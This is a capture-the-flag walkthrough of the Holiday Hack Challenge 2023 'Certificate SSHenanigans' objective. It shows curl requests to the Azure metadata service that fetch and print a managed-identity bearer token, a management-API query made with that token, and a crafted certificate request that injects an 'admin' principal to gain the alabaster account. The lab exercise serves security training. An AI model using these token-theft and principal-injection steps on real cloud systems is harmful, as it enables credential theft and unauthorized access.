Skip to content

Certificate SSHenanigans⚓︎

Difficulty:
Direct link: Objective URL

Objective⚓︎

Request

Go to Pixel Island and review Alabaster Snowball's new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?

Alabaster Snowball

I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org.
ChatNPT suggested I upgrade the host to use SSH certificates, such a great idea!
It even generated ready-to-deploy code for an Azure Function App so elves can request their own certificates. What a timesaver!
I'm a little wary though. I'd appreciate it if you could take a peek and confirm everything's secure before I deploy this
configuration to all the Geese Islands servers.
Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list.
If you haven't heard of SSH certificates, Thomas Bouve gave an introductory talk and demo on that topic recently.
Oh, and if you need to peek at the Function App code, there's a handy Azure REST API endpoint which will give you details about how the Function App is deployed.

Hints⚓︎

SSH Certificates Talk

Check out Thomas Bouve's talk and demo to learn all about how you can upgrade your SSH server configuration to leverage SSH certificates.

Azure Function App Source Code

The get-source-control Azure REST API endpoint provides details about where an Azure Web App or Function App is deployed from.
https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/get-source-control?view=rest-appservice-2022-03-01

Solution⚓︎

First of all we are provided with App URL where we can request certificates. https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl

We are asked to login to new Azure server at: ssh-server-vm.santaworkshopgeeseislands.org

In order to login to ssh server we need to generate SSH Private Key and Public Cert

ssh-keygen -t ed25519

Now using generated key we can request certificate from web app:

Terminal output

Once generated, we need to copy specific part of it after ssh_cert: and create new file in our /home/user/.ssh folder called id_ed25519-cert.pub. Chmod newly created file with chmod 600.

ssh -i /home/slingshot/.ssh/id_rsa monitor@ssh-server-vm.santaworkshopgeeseislands.org

And we are in:

id_ed25519  id_ed25519-cert.pub  id_ed25519.pub
lukasz@ls:~/.ssh$ ssh -i /home/lukasz/.ssh/id_ed25519 monitor@ssh-server-vm.santaworkshopgeeseislands.org
The authenticity of host 'ssh-server-vm.santaworkshopgeeseislands.org (20.253.83.128)' can't be established.
ED25519 key fingerprint is SHA256:8c+xYRFV/F12R5iWkNmoiLYwmcJU4tzF9hnHugARFC0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'ssh-server-vm.santaworkshopgeeseislands.org' (ED25519) to the list of known hosts.
monitor@ssh-server-vm:~$
┌──────────────── Satellite Tracking Interface ────────────────┐
│            ____     __ ______             __                 │
│           / __/__ _/ //_  __/______ _____/ /__ ____          │
│          _\ \/ _ `/ __// / / __/ _ `/ __/  '_// __/          │
│         /___/\_,_/\__//_/ /_/  \_,_/\__/_\_\/_/              │
│                                                              │
╞══════════════════════════════════════════════════════════════╡
│                                                              │
│  Position: 1.145134°, -145.261629°                           │
│  Velocity: 3.0694 km/s                                       │
│  Altitude: 35785.98 km above Earth's surface                 │
│  Signal Strength: 88.12%                                     │
│  Solar Panel Status: Deployed                                │
│  Battery Status: Unknown                                     │
│  Thermal Status: Unknown                                     │
│                                                              │
│          **** Geostationary orbit detected! ****             │
│                                                              │
└──────────────────────────────────────────────────────────────┘
Now once we are logged in we can explore filesystem. What is interesting we can see 2 ssh principles. Alabaster is our admin which we are looking for to access TODO list.

monitor@ssh-server-vm:/etc/ssh/auth_principals$ ls alabaster monitor monitor@ssh-server-vm:/etc/ssh/auth_principals$ cat * admin elf

We need query metadata service to receive bearer token which will be required to query App service to get source control which was described in hint.

REQUEST
monitor@ssh-server-vm:~$ curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s
RESPONSE
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDQxMjk3NDYsIm5iZiI6MTcwNDEyOTc0NiwiZXhwIjoxNzA0MjE2NDQ2LCJhaW8iOiJFMlZnWURqNnkzNk91dlZSeFhJdHN5VTN6ZnFQQXdBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiI1WG1yZWJISElrbXoyT2FWaDFGZEJRIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.gmkph7lUK5xFtvuLzdJXK7z9J-oTxT-2hjm0imMIB8Dr71RxUh2-cVbTX9q21sqddH2CQjrEMklEnh6UOjVc840X2YAM_pJz3eQXnbkPZAlwvRrEo0OHznXSU9DMn1S2CJ3oifV3OKBhwLIjnycd7EXitgyrmMQwLL2ZS6Z1liBJsyLrtWI4csHsOKg9rE0GZgLtV-G1YaV4iu5rv3qI52kWhXwu5GpgBuKQT_UHAlUEz_dJUVnDhk9SqDsgwfIO2upVR7q6a71rSWLRfT9XCl3V5jyQ-QoBLi2cFGz5lQQHWiYmw-lxUFTAFPrCOPNWpDEhzP1SdqDWOVQOuqpOIA","client_id":"b84e06d3-aba1-4bcc-9626-2e0d76cba2ce","expires_in":"85606","expires_on":"1704216446","ext_expires_in":"86399","not_before":"1704129746","resource":"https://management.azure.com/","token_type":"Bearer"}monitor@ssh-server-vm:~$

We need to query Metadate service to check resources running in Azure:

REQUEST:

curl -s -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq

OUTPUT:

{
  "compute": {
    "azEnvironment": "AzurePublicCloud",
    "customData": "",
    "evictionPolicy": "",
    "isHostCompatibilityLayerVm": "false",
    "licenseType": "",
    "location": "eastus",
    "name": "ssh-server-vm",
    "offer": "",
    "osProfile": {
      "adminUsername": "",
      "computerName": "",
      "disablePasswordAuthentication": ""
    },
    "osType": "Linux",
    "placementGroupId": "",
    "plan": {
      "name": "",
      "product": "",
      "publisher": ""
    },
    "platformFaultDomain": "0",
    "platformUpdateDomain": "0",
    "priority": "",
    "provider": "Microsoft.Compute",
    "publicKeys": [],
    "publisher": "",
    "resourceGroupName": "northpole-rg1",
    "resourceId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/virtualMachines/ssh-server-vm",
    "securityProfile": {
      "secureBootEnabled": "false",
      "virtualTpmEnabled": "false"
    },
    "sku": "",
    "storageProfile": {
      "dataDisks": [],
      "imageReference": {
        "id": "",
        "offer": "",
        "publisher": "",
        "sku": "",
        "version": ""
      },
      "osDisk": {
        "caching": "ReadWrite",
        "createOption": "Attach",
        "diffDiskSettings": {
          "option": ""
        },
        "diskSizeGB": "30",
        "encryptionSettings": {
          "enabled": "false"
        },
        "image": {
          "uri": ""
        },
        "managedDisk": {
          "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/disks/ssh-server-vm_os_disk",
          "storageAccountType": "Standard_LRS"
        },
        "name": "ssh-server-vm_os_disk",
        "osType": "Linux",
        "vhd": {
          "uri": ""
        },
        "writeAcceleratorEnabled": "false"
      },
      "resourceDisk": {
        "size": "63488"
      }
    },
    "subscriptionId": "2b0942f3-9bca-484b-a508-abdae2db5e64",
    "tags": "Project:HHC23",
    "tagsList": [
      {
        "name": "Project",
        "value": "HHC23"
      }
    ],
    "userData": "",
    "version": "",
    "vmId": "1f943876-80c5-4fc2-9a77-9011b0096c78",
    "vmScaleSetName": "",
    "vmSize": "Standard_B4ms",
    "zone": ""
  },
  "network": {
    "interface": [
      {
        "ipv4": {
          "ipAddress": [
            {
              "privateIpAddress": "10.0.0.50",
              "publicIpAddress": ""
            }
          ],
          "subnet": [
            {
              "address": "10.0.0.0",
              "prefix": "24"
            }
          ]
        },
        "ipv6": {
          "ipAddress": []
        },
        "macAddress": "6045BDFE2D67"
      }
    ]
  }
}

Now we build final query:

Description for Gets the source control configuration of an app.

GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/sites/{name}/sourcecontrols/web?api-version=2022-03-01

REQUEST
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDQxMjk3NDYsIm5iZiI6MTcwNDEyOTc0NiwiZXhwIjoxNzA0MjE2NDQ2LCJhaW8iOiJFMlZnWURqNnkzNk91dlZSeFhJdHN5VTN6ZnFQQXdBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiI1WG1yZWJISElrbXoyT2FWaDFGZEJRIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.gmkph7lUK5xFtvuLzdJXK7z9J-oTxT-2hjm0imMIB8Dr71RxUh2-cVbTX9q21sqddH2CQjrEMklEnh6UOjVc840X2YAM_pJz3eQXnbkPZAlwvRrEo0OHznXSU9DMn1S2CJ3oifV3OKBhwLIjnycd7EXitgyrmMQwLL2ZS6Z1liBJsyLrtWI4csHsOKg9rE0GZgLtV-G1YaV4iu5rv3qI52kWhXwu5GpgBuKQT_UHAlUEz_dJUVnDhk9SqDsgwfIO2upVR7q6a71rSWLRfT9XCl3V5jyQ-QoBLi2cFGz5lQQHWiYmw-lxUFTAFPrCOPNWpDEhzP1SdqDWOVQOuqpOIA" https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version=2022-03-01 | jq
OUTPUT
{
  "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web",
  "name": "northpole-ssh-certs-fa",
  "type": "Microsoft.Web/sites/sourcecontrols",
  "location": "East US",
  "tags": {
    "project": "northpole-ssh-certs",
    "create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl"
  },
  "properties": {
    "repoUrl": "https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa",
    "branch": "main",
    "isManualIntegration": false,
    "isGitHubAction": true,
    "deploymentRollbackEnabled": false,
    "isMercurial": false,
    "provisioningState": "Succeeded",
    "gitHubActionConfiguration": {
      "codeConfiguration": null,
      "containerConfiguration": null,
      "isLinux": true,
      "generateWorkflowFile": true,
      "workflowSettings": {
        "appType": "functionapp",
        "publishType": "code",
        "os": "linux",
        "variables": {
          "runtimeVersion": "3.11"
        },
        "runtimeStack": "python",
        "workflowApiVersion": "2020-12-01",
        "useCanaryFusionServer": false,
        "authType": "publishprofile"
      }
    }
  }
}

Now we can see repo which is accessible here: https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa

There is also source code for the app https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa/blob/main/function_app.py

Now to request ssh certificate for alabaster (admin role) principal we need to include that in our request to web app. As we could see in source code those two values are expected by app. return PublicKey.from_string(ssh_pub_key), principal

awk '{print $1, $2}' ./id_ed25519.pub | sed 's/ /": "/' | sed 's/^/{"/' | sed 's/$/"}/' | sed 's/ssh-ed25519/ssh_pub_key/' |sed 's/: "/: "ssh-ed25519 /' > postme
cat postme | jq '. + {"principal": "admin"}' > postme_admin 
curl -X POST -H "Content-Type: application/json" -d @postme_admin 'https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl' | jq -r .ssh_cert > id_ed25519-cert.pub

Now we can login on admin account using alabaster login

ssh -i /home/lukasz/.ssh/id_ed25519 alabaster@ssh-server-vm.santaworkshopgeeseislands.org

lukasz@ls:~/.ssh$ ssh -i /home/lukasz/.ssh/id_ed25519 alabaster@ssh-server-vm.santaworkshopgeeseislands.org alabaster@ssh-server-vm:~$ ls alabaster_todo.md impacket alabaster@ssh-server-vm:~$ cat alabaster_todo.md

Geese Islands IT & Security Todo List⚓︎

  • Sleigh GPS Upgrade: Integrate the new "Island Hopper" module into Santa's sleigh GPS. Ensure Rudolph's red nose doesn't interfere with the signal.
  • Reindeer Wi-Fi Antlers: Test out the new Wi-Fi boosting antler extensions on Dasher and Dancer. Perfect for those beach-side internet browsing sessions.
  • Palm Tree Server Cooling: Make use of the island's natural shade. Relocate servers under palm trees for optimal cooling. Remember to watch out for falling coconuts!
  • Eggnog Firewall: Upgrade the North Pole's firewall to the new EggnogOS version. Ensure it blocks any Grinch-related cyber threats effectively.
  • Gingerbread Cookie Cache: Implement a gingerbread cookie caching mechanism to speed up data retrieval times. Don't let Santa eat the cache!
  • Toy Workshop VPN: Establish a secure VPN tunnel back to the main toy workshop so the elves can securely access to the toy blueprints.
  • Festive 2FA: Roll out the new two-factor authentication system where the second factor is singing a Christmas carol. Jingle Bells is said to be the most secure.

Answer

Gingerbread

Response⚓︎

Alabaster Snowball

Oh my! I was so focused on the SSH configuration I completely missed the vulnerability in the Azure Function App.
Why would ChatNPT generate code with such a glaring vulnerability? It's almost like it wanted my system to be unsafe. Could ChatNPT be evil?
Thanks for the help, I'll go and update the application code immediately!
While we're on the topic of certificates, did you know Active Directory (AD) uses them as well? Apparently the service used to manage them can have misconfigurations too.
You might be wondering about that SatTrackr tool I've installed on the monitor account?
Here's the thing, on my nightly stargazing adventures I started noticing the same satellite above Geese Islands.
I wrote that satellite tracker tool to collect some additional data and sure enough, it's in a geostationary orbit above us.
No idea what that means yet, but I'm keeping a close eye on that thing!